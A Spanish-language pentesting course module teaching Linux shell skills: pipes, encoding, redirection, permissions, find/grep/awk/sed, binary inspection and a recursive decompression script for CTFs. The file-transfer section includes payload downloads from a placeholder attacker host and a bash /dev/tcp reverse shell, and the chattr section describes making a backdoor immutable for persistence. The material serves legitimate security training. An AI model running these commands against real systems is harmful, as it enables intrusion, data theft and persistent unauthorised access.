Índice / Módulo 3 — Terminal y Automatización

3.1 Comandos esenciales y operadores de shell

El terminal no es solo donde escribes comandos — es donde resuelves problemas que una interfaz gráfica ni plantea. Dominar los operadores de shell, saber mover datos entre procesos, interpretar binarios y filtrar miles de líneas de log en segundos es lo que separa a alguien que usa el ordenador de alguien que lo controla.

3.1.1 Redirecciones, pipes, subshells, xargs, tee y script

Pipes: conectar la salida de un proceso con la entrada de otro

Un pipe (|) toma la salida estándar del comando de la izquierda y la pasa como entrada estándar al de la derecha. Ambos procesos corren simultáneamente — no es que el primero termine y luego empiece el segundo.

bash — pipes
# Contar cuántos procesos tiene activos el sistema
ps aux | wc -l

# Buscar el proceso de apache y mostrar solo su PID
ps aux | grep apache | awk '{print $2}'

# Las 10 IPs que más aparecen en un log de acceso
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10

# Pipe nombrado (FIFO): un archivo especial que actúa como pipe entre procesos
mkfifo /tmp/mififo
cat archivo.txt > /tmp/mififo &   # proceso escritor en background
grep "error" /tmp/mififo          # proceso lector

Subshells: ejecutar comandos en un entorno aislado

bash — subshells
# Subshell con (): los cambios de directorio y variables no afectan al padre
pwd                         # /home/kali
( cd /tmp && ls )           # lista /tmp pero...
pwd                         # ...seguimos en /home/kali

# Capturar la salida de un subshell en una variable
fecha=$( date +%Y%m%d )
echo "Hoy es: $fecha"

# Uso en hacking: ejecutar exploits en subshell sin contaminar el entorno
resultado=$( python3 exploit.py 192.168.1.1 )
echo "$resultado" | grep "shell"

# Agrupar comandos SIN subshell (más rápido, pero afecta al entorno actual)
{ echo "primero"; echo "segundo"; } > salida.txt

xargs: construir comandos desde stdin

xargs lee líneas de stdin y las pasa como argumentos a un comando. La diferencia clave con un pipe: el pipe pasa datos como stdin; xargs los pasa como argumentos de línea de comandos. Muchos comandos no leen de stdin, pero sí aceptan argumentos.

bash — xargs
# Eliminar todos los archivos .tmp encontrados por find
# find devuelve rutas en stdout; rm las necesita como argumentos
find /tmp -name "*.tmp" | xargs rm

# -I {} permite definir dónde colocar el argumento
find . -name "*.txt" | xargs -I {} mv {} {}.bak

# -P N: ejecutar N procesos en paralelo
# Escanear 20 IPs a la vez con nmap
cat ips.txt | xargs -P 20 -I {} nmap -p 80,443 --open {}

# -0: separador nulo (para archivos con espacios en el nombre)
find . -name "*.log" -print0 | xargs -0 grep "error"

# -n N: pasar máximo N argumentos por invocación
echo "a b c d e" | xargs -n 2 echo
# a b
# c d
# e

tee: dividir la salida en dos destinos

bash — tee
# tee escribe en un archivo Y sigue pasando los datos por stdout
nmap -sV 192.168.1.1 | tee resultado_nmap.txt | grep "open"
# Ves en pantalla solo los puertos abiertos,
# pero resultado_nmap.txt contiene la salida completa

# -a: añadir al archivo en lugar de sobrescribir
echo "nueva linea" | tee -a registro.log

# Escribir en múltiples archivos a la vez
echo "dato" | tee archivo1.txt archivo2.txt archivo3.txt >/dev/null

script: grabar toda una sesión de terminal

bash — script
# Iniciar grabación de la sesión (todo lo que ves en el terminal)
script -a sesion_pentest.log
# -a: añadir a un archivo existente
# Ahora todo lo que hagas se graba

# Terminar la grabación
exit

# Grabar con timestamp de cada línea
script -t timestamps.txt -a sesion.log
# Los timestamps permiten reproducir la sesión con scriptreplay

# Reproducir la sesión grabada
scriptreplay timestamps.txt sesion.log

3.1.2 Codificación y decodificación: base64, xxd, hexdump, urlencode

bash — base64
# Codificar texto a base64
echo -n "texto secreto" | base64
# dGV4dG8gc2VjcmV0bw==

# -n: evita añadir el newline al final (importante para hashing y encoding correcto)

# Decodificar
echo "dGV4dG8gc2VjcmV0bw==" | base64 -d

# Codificar un archivo binario completo
base64 payload.bin > payload.b64

# Decodificar a archivo
base64 -d payload.b64 > payload_recuperado.bin

# Uso en hacking: transferir binarios por canales que solo admiten texto
# Pegar el base64 en una webshell o en un campo de formulario
base64 -w 0 shell.elf   # -w 0: sin saltos de línea (una sola línea larga)
bash — xxd y hexdump
# xxd: volcado hexadecimal con representación ASCII
xxd archivo.bin | head -20

# Generar hex de una cadena
echo -n "hola" | xxd
# 00000000: 686f 6c61                                hola

# Convertir hex a binario (inverso de xxd)
echo "68 65 6c 6c 6f" | xxd -r -p
# hello

# -p: formato plano (solo hex, sin offset ni ASCII)
echo -n "hola" | xxd -p
# 686f6c61

# hexdump: alternativa con más opciones de formato
hexdump -C archivo.bin | head       # -C: formato canónico (igual que xxd)
hexdump -e '"%02x " 1/1 ""' archivo.bin  # formato personalizado
bash — URL encoding y otros
# URL encode con Python (el método más fiable)
python3 -c "import urllib.parse; print(urllib.parse.quote('texto con espacios & símbolos'))"
# texto%20con%20espacios%20%26%20s%C3%ADmbolos

# URL decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('texto%20codificado'))"

# HTML entity encode/decode
python3 -c "import html; print(html.escape('<script>alert(1)</script>'))"
python3 -c "import html; print(html.unescape('&lt;script&gt;'))"

# ROT13 rápido
echo "texto a rotar" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# XOR simple con Python
python3 -c "print(bytes([b ^ 0x41 for b in b'texto']).hex())"

3.1.3 Transferencia de archivos en entornos restringidos

En un pentest, el objetivo comprometido rara vez tiene SCP, FTP o cualquier herramienta de transferencia cómoda instalada. Pero casi siempre tiene algo: netcat, curl, wget, Python, Bash con acceso a /dev/tcp, o al menos un servicio web al que conectarse.

Servidor HTTP simple (el método más universal)

bash — servidor HTTP y descarga
# En el atacante: levantar servidor HTTP en el directorio actual
python3 -m http.server 8000
# O en cualquier puerto: python3 -m http.server 443

# En el objetivo: descargar el archivo
wget http://ATACANTE:8000/herramienta -O /tmp/herramienta
curl -o /tmp/herramienta http://ATACANTE:8000/herramienta

# Si no hay wget ni curl, usar Python directamente
python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATACANTE:8000/archivo','archivo')"

# O con Perl
perl -e "use LWP::Simple; getstore('http://ATACANTE:8000/archivo','archivo')"

Netcat: transferencia directa TCP

bash — transferir archivos con netcat
# Receptor (en el objetivo)
nc -lvnp 4444 > archivo_recibido.bin

# Emisor (en el atacante)
nc -w 3 OBJETIVO 4444 < archivo_a_enviar.bin

# Transferir un directorio completo comprimido al vuelo
# Receptor:
nc -lvnp 4444 | tar xzf -

# Emisor:
tar czf - /ruta/directorio | nc -w 3 OBJETIVO 4444

/dev/tcp: Bash sin herramientas externas

bash — /dev/tcp para transferencias sin netcat
# /dev/tcp/HOST/PUERTO es un dispositivo virtual de Bash
# No existe en el sistema de archivos, el kernel lo gestiona

# Descargar un archivo con solo Bash
exec 3<>/dev/tcp/ATACANTE/8000
echo -e "GET /archivo HTTP/1.0\r\n\r\n" >&3
cat <&3 > archivo_descargado
exec 3>&-

# Reverse shell pura en Bash (sin nc, sin python)
bash -i >&/dev/tcp/ATACANTE/4444 0>&1

Transferencia por base64 (cuando todo lo demás falla)

bash — transferir binarios por canales de solo texto
# En el atacante: codificar en base64
base64 -w 0 linpeas.sh
# Copiar la cadena base64 resultante

# En el objetivo: pegar la cadena y decodificar
echo "IyEvYmluL2Jhc2gK..." | base64 -d > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

# Verificar integridad con SHA-256
# (calcular en el atacante antes de enviar)
sha256sum linpeas.sh
# En el objetivo:
sha256sum /tmp/linpeas.sh
# Comparar que los hashes coinciden

3.1.4 stdin, stdout, stderr y operadores: >, >>, 2>, &>, |, &&, ||

Cada proceso en Linux nace con tres canales de comunicación abiertos: stdin (entrada estándar, FD 0), stdout (salida estándar, FD 1) y stderr (salida de error, FD 2). Los operadores de redirección permiten redirigir cualquiera de estos canales a archivos, otros procesos o dispositivos especiales.

bash — redirecciones de salida
# > : redirigir stdout a archivo (sobrescribe)
nmap -sV 192.168.1.1 > resultado.txt

# >> : redirigir stdout a archivo (añadir al final)
echo "nueva linea" >> registro.log

# 2> : redirigir stderr a archivo
find / -name passwd 2> /dev/null
# Descarta los errores "Permission denied", muestra solo resultados

# &> : redirigir TANTO stdout COMO stderr al mismo destino
comando_que_puede_fallar &> todo_el_output.txt

# 2>&1 : redirigir stderr hacia donde apunta stdout actualmente
nmap -sV 192.168.1.1 > resultado.txt 2>&1
# El orden importa: primero redirigir stdout, luego apuntar stderr a stdout

# 1>&2 : redirigir stdout hacia stderr (para mensajes de error desde scripts)
echo "Error: archivo no encontrado" >&2
bash — redirecciones de entrada y operadores lógicos
# < : leer stdin desde un archivo
sort < palabras.txt

# << (heredoc): proporcionar stdin como bloque de texto literal
cat << EOF
Línea 1
Línea 2 con $variable expandida
EOF

# <<< (herestring): proporcionar una sola cadena como stdin
grep "patron" <<< "texto donde buscar el patron"

# && : ejecutar el segundo comando SOLO si el primero tiene éxito (exit code 0)
mkdir /tmp/nuevo && cd /tmp/nuevo

# || : ejecutar el segundo comando SOLO si el primero falla (exit code != 0)
ping -c 1 192.168.1.1 >/dev/null 2>&1 || echo "Host caído"

# Combinación clásica en exploits: ejecutar independientemente del resultado
cmd1 ; cmd2           # ; ejecuta siempre ambos, independientemente del resultado
cmd1 && cmd2 || cmd3  # cmd2 si cmd1 OK, cmd3 si cmd1 falla

3.1.5 Descriptores de archivo (0, 1, 2 y exec)

Los descriptores de archivo (file descriptors, FD) son identificadores enteros que el kernel asigna a cada canal de I/O abierto por un proceso. Los tres primeros (0, 1, 2) son stdin, stdout y stderr. Puedes abrir descriptores adicionales, redirigirlos a archivos o sockets, y cerrarlos cuando ya no los necesites.

bash — manipulación de descriptores de archivo
# Abrir un descriptor personalizado (número 3) sobre un archivo
exec 3> salida.txt           # FD 3 apuntando a salida.txt (escritura)
echo "dato" >&3             # escribir en FD 3
exec 3>&-                    # cerrar FD 3

# Abrir para lectura
exec 4< entrada.txt          # FD 4 apuntando a entrada.txt (lectura)
read -r linea <&4           # leer una línea desde FD 4
exec 4<&-                    # cerrar FD 4

# Usar exec para redirigir permanentemente stdout del script a un archivo
exec > log.txt              # a partir de aquí, todo stdout va a log.txt
exec 2>&1                   # y stderr también

# Redirigir stdout a stderr temporalmente y luego restaurar
exec 5>&1                   # guardar stdout original en FD 5
exec > /dev/null             # silenciar stdout
echo "esto no se ve"
exec >&5                     # restaurar stdout desde FD 5
exec 5>&-                    # cerrar FD 5
echo "esto sí se ve"

# Ver los descriptores abiertos de un proceso
ls -la /proc/$$/fd         # $$ es el PID del shell actual
ls -la /proc/1234/fd      # descriptores del proceso 1234

3.1.6 Notación octal de permisos: cálculo visual

Los permisos de Linux se representan en tres grupos de tres bits: usuario (owner), grupo y otros. Cada grupo tiene bit de lectura (r=4), escritura (w=2) y ejecución (x=1). El número octal es la suma de los bits activos en cada grupo.

texto — tabla de referencia octal
Binario  Octal  Permisos  Significado
───────────────────────────────────────
000      0      ---       Sin permisos
001      1      --x       Solo ejecución
010      2      -w-       Solo escritura
011      3      -wx       Escritura + ejecución
100      4      r--       Solo lectura
101      5      r-x       Lectura + ejecución
110      6      rw-       Lectura + escritura
111      7      rwx       Todo

Ejemplo: chmod 755
  7 (rwx) → usuario: lectura + escritura + ejecución
  5 (r-x) → grupo: lectura + ejecución
  5 (r-x) → otros: lectura + ejecución

Ejemplo: chmod 644
  6 (rw-) → usuario: lectura + escritura
  4 (r--) → grupo: solo lectura
  4 (r--) → otros: solo lectura
bash — chmod, chown y permisos especiales
# Establecer permisos con notación octal
chmod 755 script.sh      # rwxr-xr-x
chmod 600 clave.key      # rw------- (solo el dueño lee/escribe)
chmod 000 secreto.txt    # nadie puede hacer nada

# Notación simbólica (alternativa al octal)
chmod u+x script.sh      # añadir ejecución al usuario
chmod go-w archivo.txt   # quitar escritura a grupo y otros
chmod a+r publico.txt    # añadir lectura a todos (a = all)

# Cambiar dueño y grupo
chown root:root archivo
chown -R www-data:www-data /var/www/

# PERMISOS ESPECIALES (el 4º dígito octal)
# SUID (4): el archivo se ejecuta con los permisos del dueño, no del que lo llama
chmod 4755 binario      # rwsr-xr-x (s en lugar de x del usuario)
# Buscar SUIDs (vector de escalada de privilegios)
find / -perm -4000 -type f 2>/dev/null

# SGID (2): igual pero con el grupo dueño
chmod 2755 binario      # rwxr-sr-x

# Sticky bit (1): solo el dueño puede borrar en directorios compartidos
chmod 1777 /tmp         # rwxrwxrwt

3.1.7 Atributos extendidos: chattr y lsattr

Los atributos extendidos de ext4 van más allá de los permisos clásicos. El más relevante para seguridad es el bit i (immutable): un archivo marcado como inmutable no puede ser modificado, renombrado, borrado ni enlazado — ni siquiera por root. Es una protección contra alteración accidental o maliciosa de archivos críticos del sistema.

bash — chattr y lsattr
# Ver los atributos de un archivo
lsattr archivo.txt
# ----i--------e-- archivo.txt  (i = inmutable, e = extent format)

lsattr -R /etc/       # recursivo

# Hacer un archivo inmutable (ni root puede modificarlo)
sudo chattr +i archivo_critico.txt

# Intentar modificarlo dará error:
# chattr: Operation not permitted while setting flags on archivo_critico.txt

# Quitar el atributo inmutable
sudo chattr -i archivo_critico.txt

# Atributos más útiles:
# +i  inmutable: no se puede modificar, borrar ni renombrar
# +a  append-only: solo se puede añadir al final (ideal para logs)
# +s  secure deletion: al borrar, el espacio se sobreescribe con ceros
# +u  undeletable: al borrar, el contenido se puede recuperar

# Caso de uso en hacking: detectar archivos inmutables en el objetivo
# (indicativo de que el administrador intentó protegerlos)
lsattr -R /etc/ 2>/dev/null | grep -i "immutable\|----i"

# Caso de uso en persistencia: marcar tu backdoor como inmutable
# para que el admin no pueda borrarlo fácilmente
sudo chattr +i /ruta/backdoor
⚠️
chattr +i no funciona en sistemas de archivos que no lo soporten: tmpfs, FAT, NTFS, y algunos sistemas de archivos en red no soportan atributos extendidos de ext4. En esos sistemas, chattr dará error o se ignorará silenciosamente.

3.1.8 Búsqueda de archivos: find, locate, which, whereis

bash — find: búsqueda en tiempo real con filtros avanzados
# Sintaxis: find [ruta] [criterios] [acción]

# Por nombre
find / -name "passwd" 2>/dev/null
find . -iname "*.php"        # -iname: insensible a mayúsculas
find . -name "*.py" -not -name "test*"   # excluir patrón

# Por tipo
find / -type f              # solo archivos regulares
find / -type d              # solo directorios
find / -type l              # solo enlaces simbólicos

# Por permisos (escalada de privilegios)
find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID
find / -perm -o+w -type f 2>/dev/null   # escribibles por cualquiera
find / -writable -type d 2>/dev/null       # directorios donde puedo escribir

# Por dueño
find / -user root -type f 2>/dev/null
find / -nouser 2>/dev/null                  # sin dueño (archivos huérfanos)

# Por tiempo de modificación
find / -mtime -1                            # modificados en las últimas 24h
find / -newer /etc/passwd                  # más nuevos que /etc/passwd

# Por tamaño
find / -size +10M -type f 2>/dev/null      # mayores de 10MB
find / -empty                                 # archivos vacíos

# Ejecutar comando sobre los resultados
find /var/www -name "*.php" -exec grep -l "eval" {} \;
# Buscar webshells: PHPs con eval()
bash — locate, which y whereis
# locate: usa una base de datos pre-indexada, mucho más rápido que find
# (no detecta archivos nuevos hasta que se actualice la base de datos)
locate passwd
locate -i "*.conf"          # -i: insensible a mayúsculas
sudo updatedb               # actualizar la base de datos de locate

# which: encuentra el binario que ejecutaría el shell para ese nombre
which python3               # /usr/bin/python3
which nmap                  # /usr/bin/nmap
# Si no devuelve nada: el comando no está en el PATH

# whereis: encuentra binario, código fuente y páginas de manual
whereis nmap
# nmap: /usr/bin/nmap /usr/share/nmap /usr/share/man/man1/nmap.1.gz

# type: indica si un comando es builtin, alias o externo
type cd                     # cd is a shell builtin
type ls                     # ls is /usr/bin/ls
type ll                     # ll is aliased to `ls -l'

3.1.9 Filtrado avanzado: grep -P, awk, sed con ejemplos reales de logs

grep -P: expresiones regulares Perl

bash — grep avanzado
# -P: Perl-compatible regex (más potente que BRE/ERE estándar)
# -o: mostrar solo la parte que coincide (no la línea completa)
# -i: insensible a mayúsculas
# -r: recursivo en directorios
# -l: mostrar solo el nombre del archivo, no las líneas
# -n: mostrar número de línea
# -v: invertir (mostrar líneas que NO coinciden)

# Extraer todas las IPs de un log
grep -oP '\b(?:\d{1,3}\.){3}\d{1,3}\b' access.log | sort -u

# Extraer URLs de un archivo HTML
grep -oP 'https?://[^\s"><]+' pagina.html

# Extraer emails
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' archivo.txt

# Lookahead: extraer lo que viene DESPUÉS de "password="
grep -oP '(?<=password=)[^\s&]+' log.txt

# Lookbehind: extraer tokens JWT
grep -oP 'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+' tráfico.log

# Ver contexto alrededor del match (-A after, -B before, -C context)
grep -A 3 -B 1 "error crítico" sistema.log

awk: procesamiento de columnas y campos

bash — awk con ejemplos de logs
# awk procesa línea a línea. $1, $2... son los campos separados por espacio
# NR = número de línea actual, NF = número de campos en la línea
# FS = separador de campo (por defecto: espacio)

# Imprimir solo la primera columna
awk '{print $1}' access.log

# Cambiar el separador de campo a ":"
awk -F':' '{print $1}' /etc/passwd   # nombres de usuario

# Filtrar líneas donde el código HTTP es 200
# Formato Apache: IP - - [fecha] "método URL protocolo" codigo tamaño
awk '$9 == 200 {print $1, $7}' access.log
# IP y URL de todas las respuestas 200

# Sumar el tráfico total de un log Apache
awk '{sum += $10} END {print sum " bytes"}' access.log

# Contar accesos por código de respuesta
awk '{count[$9]++} END {for(c in count) print c, count[c]}' access.log | sort

# Imprimir líneas entre dos patrones
awk '/INICIO/,/FIN/{print}' archivo.log

# Construir output personalizado
awk -F':' '$3 == 0 {print "Usuario root:", $1}' /etc/passwd
# Usuarios con UID 0 (son root aunque se llamen diferente)

sed: transformar texto línea a línea

bash — sed
# s/patrón/reemplazo/ : sustituir la primera ocurrencia por línea
# s/patrón/reemplazo/g : sustituir todas las ocurrencias

# Sustituir texto
sed 's/http:/https:/g' urls.txt

# -i: editar el archivo en su lugar (sin crear copia)
sed -i 's/root/admin/g' config.txt

# Eliminar líneas que coinciden con un patrón
sed '/^#/d' config.txt            # eliminar comentarios
sed '/^$/d' config.txt            # eliminar líneas vacías
sed '/error/d' log.txt            # eliminar líneas con "error"

# Imprimir solo ciertas líneas
sed -n '1,10p' archivo.txt        # líneas 1 a 10
sed -n '/patrón/p' archivo.txt     # solo líneas con el patrón

# Extraer substring con regex
echo "usuario: admin123" | sed 's/.*: //'
# admin123

# Añadir prefijo o sufijo a cada línea
sed 's/^/https:\/\//' dominios.txt   # añadir https:// al principio
sed 's/$/:80/' hosts.txt             # añadir :80 al final

# Caso práctico: limpiar output de nmap para obtener solo IPs
nmap -sn 192.168.1.0/24 | grep "report for" | sed 's/.*for //'

3.1.10 Diferencias entre archivos: diff, cmp, comm

bash — diff, cmp y comm
# diff: diferencias línea a línea entre archivos de texto
diff original.txt modificado.txt
# < líneas solo en original
# > líneas solo en modificado

# -u: formato unificado (más legible, estilo git diff)
diff -u original.txt modificado.txt

# -r: recursivo entre directorios
diff -r directorio_original/ directorio_modificado/

# Caso de uso: detectar cambios en archivos de configuración del objetivo
diff /etc/passwd.bak /etc/passwd
diff -r /var/www/html.bak/ /var/www/html/

# cmp: compara byte a byte (funciona con binarios)
cmp archivo1.bin archivo2.bin
# Si son idénticos: no output
# Si difieren: indica byte y línea donde se produce la primera diferencia

# -l: mostrar todos los bytes que difieren (no solo el primero)
cmp -l binario_original.exe binario_sospechoso.exe | head

# Verificar que dos descargas son idénticas (más rápido que sha256sum)
cmp descarga1.iso descarga2.iso && echo "Idénticos" || echo "Difieren"

# comm: compara líneas entre archivos ORDENADOS
# Muestra 3 columnas: solo en archivo1 | solo en archivo2 | en ambos
comm lista1.txt lista2.txt

# -1 -2 -3: suprimir columnas
comm -12 lista1.txt lista2.txt   # solo las líneas comunes a ambas
comm -23 lista1.txt lista2.txt   # solo las líneas exclusivas de lista1
comm -13 lista1.txt lista2.txt   # solo las líneas exclusivas de lista2

# Caso de uso: comparar lista de subdominios antes y después de reconocimiento
comm -13 <(sort subdominios_dia1.txt) <(sort subdominios_dia2.txt)
# Subdominios que aparecieron en el día 2 y no estaban el día 1

3.1.11 Interpretación de binarios: xxd, hexdump, strings, file

bash — file: identificar el tipo real de un archivo
# file lee los magic bytes del archivo (no la extensión)
file archivo_desconocido
# ELF 64-bit LSB executable, x86-64, ...    → binario Linux
# PE32+ executable (console) x86-64         → binario Windows
# Zip archive data                           → ZIP (puede tener otra extensión)
# JPEG image data, JFIF standard             → imagen JPEG
# PNG image data, 100 x 100, ...            → imagen PNG
# ASCII text                                 → archivo de texto plano

# Analizar múltiples archivos de golpe
file *
find . -type f -exec file {} \; | grep "ELF"   # solo binarios ELF
bash — strings: extraer cadenas legibles de binarios
# strings: extrae secuencias de caracteres imprimibles de un binario
# Por defecto: secuencias de 4+ caracteres
strings binario_sospechoso

# -n N: mínimo N caracteres (reducir falsos positivos)
strings -n 8 malware.exe

# Buscar URLs, IPs, dominios en un binario
strings malware.exe | grep -P 'https?://|(?:\d{1,3}\.){3}\d{1,3}'

# Buscar posibles claves API o tokens
strings binario | grep -iP 'key|token|secret|password|api'

# Buscar rutas del sistema de archivos en un binario
strings binario | grep '^/'

# -e: especificar codificación (útil para binarios Windows)
strings -e l binario_windows.exe   # little-endian 16-bit (UTF-16LE)
bash — xxd para análisis de magic bytes y estructura
# Ver los primeros 32 bytes (magic bytes) de un archivo
xxd archivo | head -4

# Magic bytes de formatos comunes:
# ELF (Linux):      7f 45 4c 46  → "\x7fELF"
# PE (Windows):     4d 5a        → "MZ"
# ZIP / JAR / APK:  50 4b 03 04  → "PK\x03\x04"
# PDF:              25 50 44 46  → "%PDF"
# PNG:              89 50 4e 47  → "\x89PNG"
# JPEG:             ff d8 ff     → inicio JPEG
# Gzip:             1f 8b        → inicio GZIP
# RAR:              52 61 72 21  → "Rar!"

# Buscar una secuencia de bytes específica en un binario
xxd binario.bin | grep "7f 45"

# Parchear un byte en un offset específico
# (cambiar el byte en el offset 0x100 a 0x90 = NOP)
printf '\x90' | dd of=binario.bin bs=1 seek=$((0x100)) conv=notrunc

3.1.12 Descompresión recursiva automática: script en Bash

En CTFs y análisis forense es común encontrar archivos comprimidos dentro de archivos comprimidos — a veces decenas de capas de profundidad, con formatos mezclados (gzip dentro de zip dentro de bzip2...). Hacerlo manualmente es tedioso; un script que detecta el formato y descomprime automáticamente resuelve el problema.

bash — identificar el formato real de un archivo comprimido
# Los archivos de CTF suelen tener extensiones falsas
# Siempre usar file para identificar el formato real

file archivo_misterioso
# gzip compressed data, was "datos", last modified: ...  → descomprimir con gunzip
# bzip2 compressed data, block size = 9k                → descomprimir con bunzip2
# POSIX tar archive (GNU)                               → extraer con tar
# Zip archive data, at least v2.0 to extract            → extraer con unzip
# XZ compressed data                                    → descomprimir con xz

# Renombrar antes de descomprimir para evitar conflictos
cp archivo_misterioso archivo.gz
gunzip archivo.gz    # crea "archivo"
file archivo         # ahora ¿qué es?
bash — comprimir.sh: crear archivo de prueba con capas anidadas
#!/bin/bash
# comprimir.sh
# Crea un archivo de texto y lo comprime en varias capas anidadas
# para probar descomprimir.sh
# Uso: ./comprimir.sh [nombre_base]

set -e
BASE="${1:-paquete}"
WORKDIR="test_compresion_$$"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

ARCHIVO="${BASE}.txt"
echo "Este es el contenido secreto de prueba." > "$ARCHIVO"
echo "Generado el $(date)" >> "$ARCHIVO"
echo "Si ves esto, la descompresión funcionó correctamente." >> "$ARCHIVO"
echo "[*] Archivo original creado: $WORKDIR/$ARCHIVO"

# Capa 1: gzip
gzip -c "$ARCHIVO" > "${ARCHIVO}.gz"
rm "$ARCHIVO"; ARCHIVO="${ARCHIVO}.gz"
echo "[1] gzip → $ARCHIVO"

# Capa 2: bzip2
bzip2 -c "$ARCHIVO" > "${ARCHIVO}.bz2"
rm "$ARCHIVO"; ARCHIVO="${ARCHIVO}.bz2"
echo "[2] bzip2 → $ARCHIVO"

# Capa 3: xz
xz -c "$ARCHIVO" > "${ARCHIVO}.xz"
rm "$ARCHIVO"; ARCHIVO="${ARCHIVO}.xz"
echo "[3] xz → $ARCHIVO"

# Capa 4: tar
tar cf "${ARCHIVO}.tar" "$ARCHIVO"
rm "$ARCHIVO"; ARCHIVO="${ARCHIVO}.tar"
echo "[4] tar → $ARCHIVO"

# Capa 5: zip
zip -q "${ARCHIVO}.zip" "$ARCHIVO"
rm "$ARCHIVO"; ARCHIVO="${ARCHIVO}.zip"
echo "[5] zip → $ARCHIVO"

# Mover el resultado final al directorio padre sin extensión reveladora
mv "$ARCHIVO" "../paquete_final"
cd .. && rmdir "$WORKDIR" 2>/dev/null || true

echo ""
echo "[OK] Archivo generado: paquete_final"
echo "[OK] Tipo: $(file -b paquete_final)"
echo ""
echo "Prueba ahora con: ./descomprimir.sh paquete_final"
bash — descomprimir.sh: descompresión recursiva automática
#!/bin/bash
# descomprimir.sh
# Uso: ./descomprimir.sh archivo

ARCHIVO="$1"
ITERACION=0
MAX_ITER=100

# Matching sin distinción de mayúsculas (el output de file varía por sistema)
shopt -s nocasematch

[ -z "$ARCHIVO" ] && { echo "Uso: $0 archivo"; exit 1; }
[ ! -f "$ARCHIVO" ] && { echo "Archivo no encontrado: $ARCHIVO"; exit 1; }

extraer() {
    local f="$1"
    local tipo=$(file -b "$f")

    case "$tipo" in
        *gzip*)
            mv "$f" "${f}.gz"
            gunzip "${f}.gz"
            echo "$f"
            ;;
        *bzip2*)
            mv "$f" "${f}.bz2"
            bunzip2 "${f}.bz2"
            echo "$f"
            ;;
        *xz*)
            mv "$f" "${f}.xz"
            xz -d "${f}.xz"
            echo "$f"
            ;;
        *posix\ tar*|*tar\ archive*)
            tar xf "$f" --one-top-level=extraido_$$
            rm "$f"
            find extraido_$$ -type f | head -1
            ;;
        *zip*)
            unzip -q "$f" -d extraido_$$
            rm "$f"
            find extraido_$$ -type f | head -1
            ;;
        *lzip*|*lzma*)
            mv "$f" "${f}.lz"
            lzip -d "${f}.lz"
            echo "$f"
            ;;
        *)
            echo "DONE:$f"
            ;;
    esac
}

while [ "$ITERACION" -lt "$MAX_ITER" ]; do
    (( ITERACION++ ))
    echo "[capa $ITERACION] $(file -b "$ARCHIVO")"

    RESULTADO=$(extraer "$ARCHIVO")

    if [[ "$RESULTADO" == DONE:* ]]; then
        ARCHIVO="${RESULTADO#DONE:}"
        echo ""
        echo "[OK] Descompresión completa en $ITERACION capas"
        echo "[OK] Archivo final: $ARCHIVO"
        echo "[OK] Contenido:"
        cat "$ARCHIVO"
        break
    fi

    ARCHIVO="$RESULTADO"
    [ -z "$ARCHIVO" ] && { echo "Error: no se encontró archivo tras extracción"; exit 1; }
done

[ "$ITERACION" -ge "$MAX_ITER" ] && echo "[!] Límite de iteraciones alcanzado"
bash — flujo de prueba completo
chmod +x comprimir.sh descomprimir.sh

# Generar el paquete de prueba con 5 capas anidadas
./comprimir.sh
# [1] gzip → paquete.txt.gz
# [2] bzip2 → paquete.txt.gz.bz2
# [3] xz → paquete.txt.gz.bz2.xz
# [4] tar → paquete.txt.gz.bz2.xz.tar
# [5] zip → paquete.txt.gz.bz2.xz.tar.zip
# [OK] Archivo generado: paquete_final

# El archivo final no tiene extensión — file detecta el tipo real
file paquete_final
# Zip archive data, at least v2.0 to extract

# Descomprimir automáticamente todas las capas
./descomprimir.sh paquete_final
# [capa 1] Zip archive data...
# [capa 2] POSIX tar archive (GNU)
# [capa 3] XZ compressed data
# [capa 4] bzip2 compressed data...
# [capa 5] gzip compressed data...
#
# [OK] Descompresión completa en 6 capas
# [OK] Contenido:
# Este es el contenido secreto de prueba.